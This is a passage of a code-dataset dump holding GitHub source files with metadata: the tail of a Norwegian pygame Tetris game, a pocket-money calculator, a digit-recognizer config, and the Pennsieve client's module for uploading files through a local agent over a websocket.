top_venstre_x\r\n    sy = top_venstre_y\r\n\r\n    for i in range(len(grid)):\r\n        pygame.draw.line(surface, (128,128,128), (sx, sy + i*blokk_storrelse), (sx+spill_bredde, sy+ i*blokk_storrelse))\r\n        for j in range(len(grid[i])):\r\n            pygame.draw.line(surface, (128, 128, 128), (sx + j*blokk_storrelse, sy),(sx + j*blokk_storrelse, sy + spill_høyde))\r\n\r\n\r\ndef slette_rader(grid, laast):                                       # tømmer rutene når en rad er fylt opp\r\n    inc = 0\r\n    rader_pop = []\r\n    for i in range(len(grid)-1, -1, -1):                             # gjør om til rader\r\n        rad = grid[i]\r\n        if all( (c != (0,0,0,0) and not isSkygge(c)) for c in rad):  # sjekker om cellene er okkuperbare \r\n            inc += 1\r\n            rader_pop.append(i)\r\n            for j in range(len(rad)):                                # tømme rader\r\n                try:\r\n                    del laast[(j,i)]\r\n                except:\r\n                    continue\r\n\r\n    if inc > 0:                                                      # flytte rader om rader slettes\r\n        for key in sorted(list(laast), key=lambda x: x[1])[::-1]:    # begynner fra bunnen\r\n            x, y = key\r\n            \r\n            # flytter rader nedover i følge til hvor mange rander som slettes under\r\n            rader_pop_lower = list(filter(lambda r: r > y, rader_pop))\r\n            newKey = (x, y + len(rader_pop_lower))\r\n            laast[newKey] = laast.pop(key)\r\n\r\n    score_inc = {                                                    # lager et dictionary med poeng for antall slettede rader\r\n        0: 0,\r\n        1: 10,\r\n        2: 30,\r\n        3: 50,\r\n        4: 80,\r\n        }\r\n    return score_inc.get(inc)\r\n\r\n\r\ndef tegne_neste_figur(figur, overflate):                     # viser den neste fallende figuren\r\n    font = pygame.font.SysFont('comicsans', 30)\r\n    label = font.render('Next figur', 1, (255,255,255))\r\n\r\n    sx = top_venstre_x + spill_bredde + 50                   # plasserer figuren\r\n    sy = top_venstre_y + spill_høyde/2 - 100\r\n    format = figur.figur[figur.rotasjon % len(figur.figur)]\r\n\r\n    for i, line in enumerate(format):                        # tegne neste figur\r\n        row = list(line)\r\n        for j, column in enumerate(row):\r\n            if column == '0':\r\n                pygame.draw.rect(overflate, figur.farge, (sx + j*blokk_storrelse, sy + i*blokk_storrelse, blokk_storrelse, blokk_storrelse), 0)\r\n\r\n    overflate.blit(label, (sx + 10, sy - 30))                # plasserer tekst\r\n\r\ndef oppdatere_high_score(nscore):                            # opdaterer high score\r\n    global max_score\r\n    if max_score < nscore:\r\n        max_score = nscore\r\n\r\ndef tegne_vindu(overflate, grid, score=0):                   # tegner vinduet\r\n    overflate.fill((0, 0, 0))\r\n\r\n    pygame.font.init()                                       # lager tittel\r\n    font = pygame.font.SysFont('comicsans', 60)\r\n    tittel = font.render('Tetris', 1, (255, 255, 255))\r\n\r\n    overflate.blit(tittel, (top_venstre_x + spill_bredde / 2 - (tittel.get_width() / 2), 30))\r\n\r\n    # viser score\r\n    font = pygame.font.SysFont('comicsans', 30)\r\n    tekst = font.render('Score: ' + str(score), 1, (255,255,255))\r\n\r\n    sx = top_venstre_x + spill_bredde + 50\r\n    sy = top_venstre_y + spill_høyde/2 - 100\r\n\r\n    # viser high score\r\n    overflate.blit(tekst, (sx + 20, sy + 160))\r\n    tekst = font.render('High Score: ' + str(max_score), 1, (255,255,255))\r\n\r\n    sx = top_venstre_x - 200\r\n    sy = top_venstre_y + 200\r\n\r\n    overflate.blit(tekst, (sx + 20, sy + 160))\r\n\r\n    # fargelegging\r\n    for i in range(len(grid)):\r\n        for j in range(len(grid[i])):\r\n            skygge_flate = pygame.Surface((blokk_storrelse, blokk_storrelse))\r\n            if isSkygge(grid[i][j]):\r\n                skygge_flate.set_alpha(128)                  # gjør skyggen halvveis gjennomsiktig\r\n            skygge_flate.fill(get_farge(grid[i][j]))\r\n            overflate.blit(skygge_flate, (top_venstre_x + j*blokk_storrelse, top_venstre_y + i*blokk_storrelse))\r\n\r\n    # tegner spillruten\r\n    pygame.draw.rect(overflate, (255, 0, 0), (top_venstre_x, top_venstre_y, spill_bredde, spill_høyde), 5)\r\n\r\n    tegne_ruter(overflate, grid)\r\n    \r\n\r\ndef level_up(fallende_hastighet):                            # fjerner ruter med farger og øker hastighet når spiller når nytt level\r\n    global blokker_bredde,blokker_hoyde\r\n    ny_hastighet = fallende_hastighet - 0.05                 # øker hastighet\r\n    # fjerner alle blokker\r\n    grid = [[(0,0,0,0) for _ in range(blokker_bredde)] for _ in range(blokker_hoyde)]\r\n\r\n    return (ny_hastighet, grid, {})        \r\n    \r\n\r\n\r\ndef hoved(win): \r\n    global poeng_level\r\n    laast_posisjoner = {}                   # koordinatene til okkuperte celler\r\n    grid = lage_grid(laast_posisjoner)      # 10x20 tabell som lagrer fargen til hver celle\r\n\r\n    bytte_Blokk = False                     # om skal bytte figur\r\n    run = True                              # holder spillet gående\r\n    fallende_Blokk = get_figur()            # skaper fallende blokk\r\n    neste_Blokk = get_figur()               # skaper neste blokk\r\n    klokke = pygame.time.Clock()            # tar tiden\r\n    fall_tid = 0                            # hvor lenge brikken har falt\r\n    fall_hastighet = 0.5                    # hastigheten brikken faller på                         \r\n    score = 0                               # poeng\r\n    level = 1                               # level\r\n    skygge_Blokk = None                     # skyggeblokk\r\n    \r\n    while run:\r\n        grid = lage_grid(laast_posisjoner)  # lager spill skjerm (der brikkene faller)\r\n        fall_tid += klokke.get_rawtime()    # stopper stoppeklokken for løkken\r\n        klokke.tick()                       # starter stoppeklokken for løkken\r\n\r\n        # flytter fallende blokk nedover når fall tiden er nådd\r\n        if fall_tid/1000 > fall_hastighet:\r\n            fall_tid = 0\r\n            if (gyldig_plass(fallende_Blokk, grid)) == True:  \r\n                fallende_Blokk.y += 1\r\n                # stopper blokken når hindret og bytter blokk\r\n                if not(gyldig_plass(fallende_Blokk, grid)) and fallende_Blokk.y > 0:\r\n                    fallende_Blokk.y -= 1\r\n                    bytte_Blokk = True\r\n            else:\r\n                tegne_tekst(win, \"GAME OVER\", 80, (255,255,255))\r\n                pygame.display.update()\r\n                pygame.time.delay(1500)\r\n                run = False\r\n\r\n        # kontroller\r\n        for event in pygame.event.get():\r\n            # quit\r\n            if event.type == pygame.QUIT:\r\n                run = False\r\n                pygame.display.quit()     \r\n            if event.type == pygame.KEYDOWN:\r\n                # flytter den fallende blokken mot venstre\r\n                if event.key == pygame.K_LEFT:\r\n                    fallende_Blokk.x -= 1\r\n                    if not(gyldig_plass(fallende_Blokk, grid)):\r\n                        fallende_Blokk.x += 1\r\n                # flytter den fallende blokken mot høyre\r\n                if event.key == pygame.K_RIGHT:\r\n                    fallende_Blokk.x += 1\r\n                    if not(gyldig_plass(fallende_Blokk, grid)):\r\n                        fallende_Blokk.x -= 1\r\n                # flytter den fallende blokken nedover kjappere\r\n                if event.key == pygame.K_DOWN:\r\n                    fallende_Blokk.y += 1\r\n                    if not(gyldig_plass(fallende_Blokk, grid)):\r\n                        fallende_Blokk.y -= 1\r\n                # roterer den fallende blokken\r\n                if event.key == pygame.K_UP:\r\n                    fallende_Blokk.rotasjon += 1\r\n                    if not(gyldig_plass(fallende_Blokk, grid)):\r\n                        fallende_Blokk.rotasjon -= 1\r\n                # flytter den fallende blokken rett ned\r\n                if event.key == pygame.K_SPACE:\r\n                    while gyldig_plass(fallende_Blokk, grid): \r\n                        fallende_Blokk.y += 1\r\n                    fallende_Blokk.y -= 1\r\n\r\n        # legger inn fallende figurer\r\n        iSkjerm_fallende, figur_pos = get_koordinat(fallende_Blokk)\r\n        for i in range(len(figur_pos)):\r\n            x, y = figur_pos[i]\r\n            if y > -1:\r\n                grid[y][x] = fallende_Blokk.farge\r\n\r\n        if iSkjerm_fallende:\r\n            # Lage ny skygge når fallende blokk er byttet\r\n            skygge_Blokk = skygge(fallende_Blokk, skygge_Blokk, grid)\r\n            if (skygge_Blokk.y > fallende_Blokk.y):\r\n                (iSkjerm_skygge, figur_pos_skygge) = get_koordinat(skygge_Blokk)\r\n                # legger inn skygge hvis gyldig plass \r\n                if (iSkjerm_skygge): \r\n                    for i in range(len(figur_pos_skygge)):\r\n                        x, y = figur_pos_skygge[i]\r\n                        grid[y][x] = skygge_Blokk.farge\r\n     \r\n        # låser den fallende blokken og bytter til neste fallende blokk\r\n        if bytte_Blokk:\r\n            for pos in figur_pos:\r\n                p = (pos[0], pos[1])\r\n                laast_posisjoner[p] = fallende_Blokk.farge\r\n            fallende_Blokk = neste_Blokk\r\n            neste_Blokk = get_figur()\r\n            bytte_Blokk = False\r\n            score += slette_rader(grid, laast_posisjoner)\r\n            # level up\r\n            if score >= level*poeng_level:\r\n                level += 1\r\n                fall_hastighet, grid, laast_posisjoner = level_up(fall_hastighet)\r\n                tegne_tekst(win, \"Level up\", 80, (255,255,255))\r\n                pygame.display.update()\r\n                pygame.time.delay(1500)\r\n\r\n        oppdatere_high_score(score)\r\n        tegne_vindu(win, grid, score)\r\n        tegne_neste_figur(neste_Blokk, win)\r\n        pygame.display.update()\r\n\r\n        # sjekker om spillet er tapt\r\n        if sjekk_tapt(laast_posisjoner):\r\n            tegne_tekst(win, \"GAME OVER\", 80, (255,255,255))\r\n            pygame.display.update()\r\n            pygame.time.delay(1500)\r\n            run = False\r\n\r\n# hoved program\r\ndef hovedmeny(win):\r\n    run = True\r\n    while run:\r\n        win.fill((0,0,0))\r\n        tegne_tekst(win, 'Press Any Key To Play', 60, (255,255,255))\r\n        pygame.display.update()\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                run = False\r\n            if event.type == pygame.KEYDOWN:\r\n                hoved(win)\r\n\r\n    pygame.display.quit()\r\n\r\n# setter opp vindu\r\nwin = pygame.display.set_mode((s_bredde, s_hoyde))\r\npygame.display.set_caption('Tetris')\r\nhovedmeny(win)", "repo_name": "MulanGan/Programmering-og-modellering", "sub_path": "pygame.tetris.py", "file_name": "pygame.tetris.py", "file_ext": "py", "file_size_in_byte": 19039, "program_lang": "python", "lang": "no", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pygame.font.init", "line_number": 4, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 4, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 198, "usage_type": "call"}, {"api_name": "pygame.font.SysFont", "line_number": 246, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 246, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 257, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 257, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 259, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 259, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 296, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 296, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 307, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 307, "usage_type": "attribute"}, {"api_name": "pygame.font.init", "line_number": 319, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 319, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 320, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 320, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 326, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 326, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 344, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 351, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 351, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 375, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 375, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 398, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 398, "usage_type": "attribute"}, {"api_name": "pygame.time.delay", "line_number": 399, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 399, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 403, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 403, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 405, "usage_type": "attribute"}, {"api_name": "pygame.display.quit", "line_number": 407, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 407, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 408, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 410, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 415, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 420, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 425, "usage_type": "attribute"}, {"api_name": "pygame.K_SPACE", "line_number": 430, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 467, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 467, "usage_type": "attribute"}, {"api_name": "pygame.time.delay", "line_number": 468, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 468, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 473, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 473, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 478, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 478, "usage_type": "attribute"}, {"api_name": "pygame.time.delay", "line_number": 479, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 479, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 488, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 488, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 489, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 489, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 490, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 492, "usage_type": "attribute"}, {"api_name": "pygame.display.quit", "line_number": 495, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 495, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 498, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 498, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 499, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 499, "usage_type": "attribute"}]}
{"seq_id": "25535362299", "text": "#!/usr/bin/env python3\n\nfrom datetime import datetime\nfrom datetime import timedelta\nimport locale\n\nLAST_DATE = \"2022-09-26\"\nWEEK = timedelta(days=7)\nPAYOUT = 0.5\n\n\ndef main():\n    locale.setlocale(locale.LC_ALL, \"de_DE\")\n    last_date = datetime.fromisoformat(LAST_DATE)\n\n    pay_day = last_date + WEEK\n    amount = PAYOUT\n\n    while pay_day < datetime.now():\n        print(f\"pay out at {pay_day:%x}: €{PAYOUT:.2f}, sum: €{amount:.2f}\")\n        pay_day += WEEK\n        amount += PAYOUT\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "steffen-tellhelm/py-playground", "sub_path": "pocket_money/pocket_money.py", "file_name": "pocket_money.py", "file_ext": "py", "file_size_in_byte": 531, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.timedelta", "line_number": 8, "usage_type": "call"}, {"api_name": "locale.setlocale", "line_number": 13, "usage_type": "call"}, {"api_name": "locale.LC_ALL", "line_number": 13, "usage_type": "attribute"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 19, "usage_type": "name"}]}
{"seq_id": "75036194469", "text": "import torch\n\n# Training configuration\nMODEL = \"\"\n\nBATCH_SIZE = 128\n\nLRATE = 1e-4\n\nNUM_EPOCHS = 50\n\nWEIGHT_DECAY = 0\n\nTRAIN_SIZE = 33600\n\nVAL_SIZE = 8400\n\nNUM_FEATURES = 30\n# Classifier configuration\nTRAIN_PROPORTION = 0.9999\n\nNUM_NEIGHBORS = 3\n\nNUM_ESTIMATORS = 101\n\n# General configuration\nTRAIN_FILE = \"../data/train.csv\"\n\nTEST_FILE = \"../data/test.csv\"\n\nSUBMISSION_FILE = \"result/submission.csv\"\n\nEVAL_FILE = \"../eval.xlsx\"\n\nMODEL_STATE_DICT_FILE = \"result/model.pt\"\n\nDTYPE = torch.float32\n\n# Best\n# n_neighbors = 5, num_features = 200", "repo_name": "StuartNam/digit-recognizer", "sub_path": "Autoencoder/config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 539, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.float32", "line_number": 37, "usage_type": "attribute"}]}
{"seq_id": "31551985674", "text": "from __future__ import division\nfrom future.utils import raise_from\n\nimport errno\nimport json\nimport os\nimport platform\nimport socket\nimport subprocess\nimport sys\nfrom collections import OrderedDict\nfrom time import sleep\nfrom warnings import warn\n\nimport semver\n\nfrom pennsieve.log import get_log_level, get_logger\nfrom pennsieve.models import Collection, DataPackage, Dataset\n\nlogger = get_logger(\"pennsieve.agent\")\n\ntry:\n    from websocket import create_connection\nexcept ModuleNotFoundError:\n    logger.warn(\n        \"websocket-client is not installed - uploading with the Agent will not work\"\n    )\n\n\nMINIMUM_AGENT_VERSION = semver.VersionInfo.parse(\"0.3.4\")\nDEFAULT_LISTEN_PORT = 11235\n\n\nclass AgentError(Exception):\n    pass\n\n\ndef agent_cmd():\n    if sys.platform == \"darwin\":\n        return \"/usr/local/opt/pennsieve/bin/pennsieve\"\n\n    elif sys.platform.startswith(\"linux\"):\n        return \"/opt/pennsieve/bin/pennsieve\"\n\n    elif sys.platform in [\"win32\", \"cygwin\"]:\n        return \"C:/Program Files/Pennsieve/pennsieve.exe\"\n\n    raise AgentError(\"Platform {} is not supported\".format(sys.platform))\n\n\ndef validate_agent_installation(settings):\n    \"\"\"\n    Check whether the agent is installed and at least the minimum version.\n    \"\"\"\n    try:\n        env = agent_env(settings)\n        env[\"PENNSIEVE_LOG_LEVEL\"] = \"ERROR\"  # Avoid spurious output with the version\n        version = subprocess.check_output([agent_cmd(), \"version\"], env=env)\n    except (AgentError, subprocess.CalledProcessError, EnvironmentError) as e:\n        raise AgentError(\n            \"Agent not installed. Visit https://developer.pennsieve.io/agent for installation directions.\"\n        )\n\n    try:\n        agent_version = semver.VersionInfo.parse(version.decode().strip())\n    except ValueError as e:\n        raise_from(AgentError(\"Invalid version string\"), e)\n\n    if agent_version < MINIMUM_AGENT_VERSION:\n        raise AgentError(\n            \"Agent not compatible: found version {}, need version {}\".format(\n                agent_version, MINIMUM_AGENT_VERSION\n            )\n        )\n\n    logger.info(\"Agent version %s found\", agent_version)\n\n\ndef agent_env(settings):\n    \"\"\"\n    Configure the agent environment to mirror the Python client\n    The \"local\" environment looks for the host in PENNSIEVE_API_LOC\n    (this is configured down in pennsieve-rust)\n    \"\"\"\n    env = {\n        \"PENNSIEVE_API_ENVIRONMENT\": \"local\",\n        \"PENNSIEVE_API_LOC\": settings.api_host,\n        \"PENNSIEVE_API_TOKEN\": settings.api_token,\n        \"PENNSIEVE_API_SECRET\": settings.api_secret,\n        \"PENNSIEVE_LOG_LEVEL\": get_log_level(),\n    }\n    if sys.platform in [\"win32\", \"cygwin\"]:\n        env[\"SYSTEMROOT\"] = os.getenv(\"SYSTEMROOT\")\n    # On Windows, the SYSTEMROOT environment variable must be preserved for DLLs to correctly load.\n    # ref: https://travis-ci.community/t/socket-the-requested-service-provider-could-not-be-loaded-or-initialized/1127\n\n    logger.debug(\"Agent environment: %s\", env)\n\n    return env\n\n\nclass AgentListener(object):\n    \"\"\"\n    Context manager that starts the agent in listen server mode.\n    \"\"\"\n\n    def __init__(self, settings, port):\n        self.settings = settings\n        self.port = port\n        self.proc = None\n        self.devnull = None\n        warn(\n            f\"Pennsieve is transitioning to the new agent. This class '{self.__class__.__name__}' will be deprecated; version=7.0.0; date=2022-11-01.\",\n            DeprecationWarning,\n            stacklevel=2,\n        )\n\n    def __enter__(self):\n        check_port(self.port)\n        command = [agent_cmd(), \"upload-status\", \"--listen\", \"--port\", str(self.port)]\n\n        self.devnull = open(os.devnull, \"w\")\n\n        self.proc = subprocess.Popen(\n            command,\n            env=agent_env(self.settings),\n            stdout=sys.stdout if get_log_level() == \"DEBUG\" else self.devnull,\n            stderr=sys.stderr if get_log_level() == \"DEBUG\" else self.devnull,\n        )\n        return self.proc\n\n    def __exit__(self, *exc):\n        self.proc.kill()\n        self.devnull.close()\n\n\ndef check_port(port):\n    \"\"\"\n    Refuse to start up if the agent is already running in listen mode.\n    This can cause problems with relative files paths and session credentials.\n    \"\"\"\n    try:\n        logger.debug(\"Checking port %s\", port)\n        create_connection(socket_address(port)).close()\n    except socket.error as e:\n        if e.errno == errno.ECONNREFUSED:  # ConnectionRefusedError for Python 3\n            logger.debug(\"No agent found, port %s OK\", port)\n            return True\n        else:\n            raise\n    else:\n        raise AgentError(\n            \"The agent is already running. Please stop any running processes and try again\"\n        )\n\n\ndef socket_address(port):\n    if platform.system() == \"Windows\":\n        return \"ws://127.0.0.1:{}\".format(port)\n    return \"ws://0.0.0.0:{}\".format(port)\n\n\ndef create_agent_socket(port):\n    \"\"\"\n    Open a websocket connection to the agent\n\n    If the agent is not available, wait using exponential backoff for it to\n    come up and start responding to messages\n    \"\"\"\n    for i in range(-2, 4):\n        try:\n            return create_connection(socket_address(port))\n        except socket.error as e:\n            if e.errno == errno.ECONNREFUSED:  # ConnectionRefusedError for Python 3\n                sleep_time = 2**i\n                logger.debug(\"Connection refused - sleeping for %s seconds\", sleep_time)\n                sleep(sleep_time)\n            else:\n                raise\n\n    raise AgentError(\"Could not connect to Agent\")\n\n\ndef agent_upload(\n    destination, files, dataset, append, recursive, display_progress, settings\n):\n    \"\"\"\n    Push an upload through the agent.\n    \"\"\"\n    directory_upload = any(os.path.isdir(f) for f in files)\n\n    if directory_upload and len(files) > 1:\n        raise AgentError(\n            \"Can only upload a single directory.\\n\"\n            'Please pass a single directory argument: `pkg.upload(\"/experiment/dir\")`'\n        )\n\n    if recursive and not directory_upload:\n        raise AgentError(\n            \"Recursive uploads are only allowed with directories.\\n\"\n            \"Upload a directory or pass `recursive=False`.\"\n        )\n\n    if recursive and append:\n        raise AgentError(\"Cannot use `recursive=True` when appending`\")\n\n    # Figure out what files the agent is going to upload.\n    # We cannot count on the agent to send \"upload queued\" messages for\n    # all files before it starts uploading, so we generate the files we\n    # plan to wait for.\n    if directory_upload:\n        directory = files[0]\n        if recursive:\n            expected_files = []\n            for dirpath, _, filenames in os.walk(directory):\n                for f in filenames:\n                    expected_files.append(os.path.join(dirpath, f))\n        else:\n            expected_files = []\n            for f in os.listdir(directory):\n                path = os.path.join(directory, f)\n                if os.path.isfile(path):\n                    expected_files.append(path)\n    else:\n        expected_files = files\n\n    # Agent uses absolute paths\n    expected_files = [os.path.abspath(f) for f in expected_files]\n\n    if isinstance(destination, Dataset):\n        dataset_id = destination.id\n        package_id = None\n    elif isinstance(destination, (Collection, DataPackage)):\n        dataset_id = dataset.id\n        package_id = destination.id\n    else:\n        raise ValueError(\"Can only upload to a Dataset, Package, or Collection\")\n\n    with AgentListener(settings, DEFAULT_LISTEN_PORT):\n        try:\n            ws = create_agent_socket(DEFAULT_LISTEN_PORT)\n\n            ws.send(\n                json.dumps(\n                    {\n                        \"message\": \"queue_upload\",\n                        \"body\": {\n                            \"dataset\": dataset_id,\n                            \"package\": package_id,\n                            \"files\": files,\n                            \"append\": append,\n                            \"recursive\": recursive,\n                        },\n                    }\n                )\n            )\n\n            upload_manager = UploadManager(expected_files, display_progress)\n            upload_manager.print_progress()\n\n            for msg in ws:\n                msg = json.loads(msg)\n\n                if msg[\"message\"] == \"file_queued_for_upload\":\n                    upload_manager.set_queued(msg[\"path\"], msg[\"import_id\"])\n\n                elif msg[\"message\"] == \"upload_progress\":\n                    upload_manager.set_progress(\n                        msg[\"path\"], msg[\"import_id\"], msg[\"percent_done\"], msg[\"done\"]\n                    )\n\n                elif msg[\"message\"] == \"upload_complete\":\n                    upload_manager.set_complete(msg[\"import_id\"])\n\n                elif msg[\"message\"] == \"upload_error\":\n                    logger.error(msg[\"context\"])\n                    upload_manager.set_error(msg[\"import_id\"])\n\n                elif msg[\"message\"] == \"error\":\n                    raise AgentError(msg[\"context\"])\n\n                else:\n                    logger.debug(\"Unknown message\", msg)\n\n                upload_manager.print_progress()\n                if upload_manager.done:\n                    break\n\n        finally:\n            try:\n                ws.close()\n            except UnboundLocalError:\n                pass\n\n\ndef remove_prefix(text, prefix):\n    return text[text.startswith(prefix) and len(prefix) :]\n\n\nclass UploadManager(object):\n    \"\"\"\n    Manager for file status and messages.\n\n    This is complicated by that fact that the agent sends status information\n    for files that are already in the queue or started by other processes.\n    This makes it possible for the same file to be queued twice, so we\n    have to track both the filename and import id. We only want to wait for\n    all \"our\" files to upload.\n    \"\"\"\n\n    def __init__(self, files, display_progress):\n        # Should we show progress bars?\n        self.display_progress = display_progress\n\n        # map of filepath -> list(FileProgress)\n        self.uploads = OrderedDict()\n\n        for file in files:\n            self.track_file(file, import_id=None, ours=True)\n\n        # Keep track of whether progress bars have already been rendered so\n        # we know if/what to erase when re-drawing\n        self.lines_on_screen = 0\n        warn(\n            f\"Pennsieve is transitioning to the new agent. This class '{self.__class__.__name__}' will be deprecated; version=7.0.0; date=2022-11-01.\",\n            DeprecationWarning,\n            stacklevel=2,\n        )\n\n    def track_file(self, file, import_id, ours):\n        progress = FileProgress(file, import_id, ours)\n        if file in self.uploads:\n            self.uploads[file].append(progress)\n        else:\n            self.uploads[file] = [progress]\n        return progress\n\n    def get_tracked_file(self, file, import_id):\n        if sys.platform in [\"win32\", \"cygwin\"]:\n            file = remove_prefix(\n                file, \"\\\\\\\\?\\\\\"\n            )  # windows OS sometimes prefix the filepath with \\\\?\\, so we remove it if we see if\n        if file in self.uploads:\n            for p in self.uploads[file]:\n                if p.import_id == import_id:\n                    return p\n\n    def all_tracked_files(self):\n        for filegroup in self.uploads.values():\n            for progress in filegroup:\n                yield progress\n\n    def set_queued(self, file, import_id):\n        # Update the unqueued version of the file with an import id\n        progress = self.get_tracked_file(file, None)\n\n        # This import is queued from a different process - we don't care\n        if progress is None:\n            return\n\n        progress.queued = True\n        progress.import_id = import_id\n\n    def set_progress(self, file, import_id, percent_done, done):\n        # Absorb any files that are in the DB/already queued\n        if self.get_tracked_file(file, import_id) is None:\n            self.track_file(file, import_id, ours=False)\n\n        progress = self.get_tracked_file(file, import_id)\n        progress.percent_done = percent_done\n\n    def set_complete(self, import_id):\n        for progress in self.all_tracked_files():\n            if progress.import_id == import_id:\n                progress.done = True\n\n    def set_error(self, import_id):\n        for progress in self.all_tracked_files():\n            if progress.import_id == import_id:\n                progress.errored = True\n\n    @property\n    def done(self):\n        return all([fstat.done for fstat in self.all_tracked_files() if fstat.ours])\n\n    def print_progress(self, width=24):\n        if not self.display_progress:\n            return\n\n        # move cursor to relative beginning\n        sys.stdout.write(\"\\033[F\" * self.lines_on_screen)\n\n        for fstat in self.all_tracked_files():\n            if fstat.done:\n                state = \"DONE\"\n            elif fstat.errored:\n                state = \"ERRORED\"\n            elif fstat.queued:\n                state = \"UPLOADING\"\n            else:\n                state = \"WAITING\"\n\n            text = \" [ {bars}{dashes} ] {state:12s} {percent:05.1f}% {name}\\n\".format(\n                bars=\"#\" * int(fstat.progress * width),\n                dashes=\"-\" * (width - int(fstat.progress * width)),\n                percent=fstat.percent_done,\n                name=fstat.name,\n                state=state,\n            )\n\n            sys.stdout.write(\"{}\\r\".format(text))\n            sys.stdout.flush()\n\n        self.lines_on_screen = len(list(self.all_tracked_files()))\n\n\nclass FileProgress(object):\n    def __init__(self, filename, import_id, ours):\n        # We only care about the state of uploads started by this process\n        self.ours = ours\n        self.filename = filename\n        self.import_id = import_id\n        self.name = os.path.basename(filename)\n        self._percent_done = 0\n        self.done = False\n        self.errored = False\n        self.queued = False\n        warn(\n            f\"Pennsieve is transitioning to the new agent. This class '{self.__class__.__name__}' will be deprecated; version=7.0.0; date=2022-11-01.\",\n            DeprecationWarning,\n            stacklevel=2,\n        )\n\n    @property\n    def percent_done(self):\n        if self.done:\n            return 100\n        return self._percent_done\n\n    @percent_done.setter\n    def percent_done(self, value):\n        # Only increment progress (in case messages come out of order)\n        if value > self._percent_done:\n            self._percent_done = value\n\n    @property\n    def progress(self):\n        return self.percent_done / 100\n", "repo_name": "Pennsieve/pennsieve-python", "sub_path": "pennsieve/api/agent.py", "file_name": "agent.py", "file_ext": "py", "file_size_in_byte": 14637, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pennsieve.log.get_logger", "line_number": 20, "usage_type": "call"}, {"api_name": "semver.VersionInfo.parse", "line_number": 30, "usage_type": "call"}, {"api_name": "semver.VersionInfo", "line_number": 30, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 39, "usage_type": "attribute"}, {"api_name": "sys.platform.startswith", "line_number": 42, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 42, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 45, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 48, "usage_type": "attribute"}, {"api_name": "subprocess.check_output", "line_number": 58, "usage_type": "call"}, {"api_name": "subprocess.CalledProcessError", "line_number": 59, "usage_type": "attribute"}, {"api_name": "semver.VersionInfo.parse", "line_number": 65, "usage_type": "call"}, {"api_name": "semver.VersionInfo", "line_number": 65, "usage_type": "attribute"}, {"api_name": "future.utils.raise_from", "line_number": 67, "usage_type": "call"}, {"api_name": "pennsieve.log.get_log_level", 